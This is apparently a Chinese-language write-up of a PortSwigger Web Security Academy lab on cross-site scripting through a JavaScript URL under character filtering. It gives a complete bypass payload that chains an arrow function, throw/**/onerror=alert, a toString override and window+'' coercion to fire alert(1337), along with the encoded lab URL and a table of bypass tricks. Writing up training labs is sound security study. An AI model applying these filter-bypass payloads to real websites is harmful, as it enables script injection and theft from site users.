# Cross-site scripting Lab28 本題是進階版的 JavaScript URL XSS,會封鎖部分特殊字元,例如: - `( )` `{ }` `"` `'` `< >` 可能都被過濾 - 空格被禁用 - 逗號 `,`、箭頭函式 `=>`、註解 `/**/` 等繞過技巧仍可用 最後觸發 alert(1337)。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/HJxwAzQBel.png) 一樣寫一個 URL: 結構說明: ```url '}, // 關閉先前的語法 x = x => { throw /**/ onerror = alert, 1337 }, // 建構一個箭頭函式,內部觸發 onerror toString = x, // 將 toString 指向該函式 window + '', // 強制 window 轉為字串,觸發 window.toString() {x:' // 開始新的 object 表達式,結尾再補 ``` 為何會觸發 alert(1337): - `x = x => { throw onerror = alert, 1337 }` 這個函式會在呼叫時丟出例外 → `onerror = alert` → 執行 `alert(1337)` - `toString = x` 將這個函式綁定到 toString。 - `window + ''` 強制轉型 → 呼叫 `window.toString()` → 實際呼叫了我們的 x 函式 → Boom - 使用 `/**/` 來代替空格、分隔語法,繞過字元過濾限制。 結合! ```url https://0a4d001403ca57ae80d1c25600620000.web-security-academy.net/post?postId=4&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27 ``` ![image](https://hackmd.io/_uploads/Syme-m7Bxe.png) (這裡檔案超過 1MB 不能上傳,所以只截一半,笑死。) :::success ### 關鍵繞過技巧 | 技巧 | 用途 | | -------- | -------- | | throw/**/onerror=alert | 空格繞過,設置全域錯誤處理 | | x => {} | 使用 arrow function 包裝 throw | | toString = x | 改寫 toString() 為自訂函數 | | window + '' | 強制觸發 toString | | , | `'` URL-encoded,開閉字串 | | %3E | `>` URL-encoded | ::: ---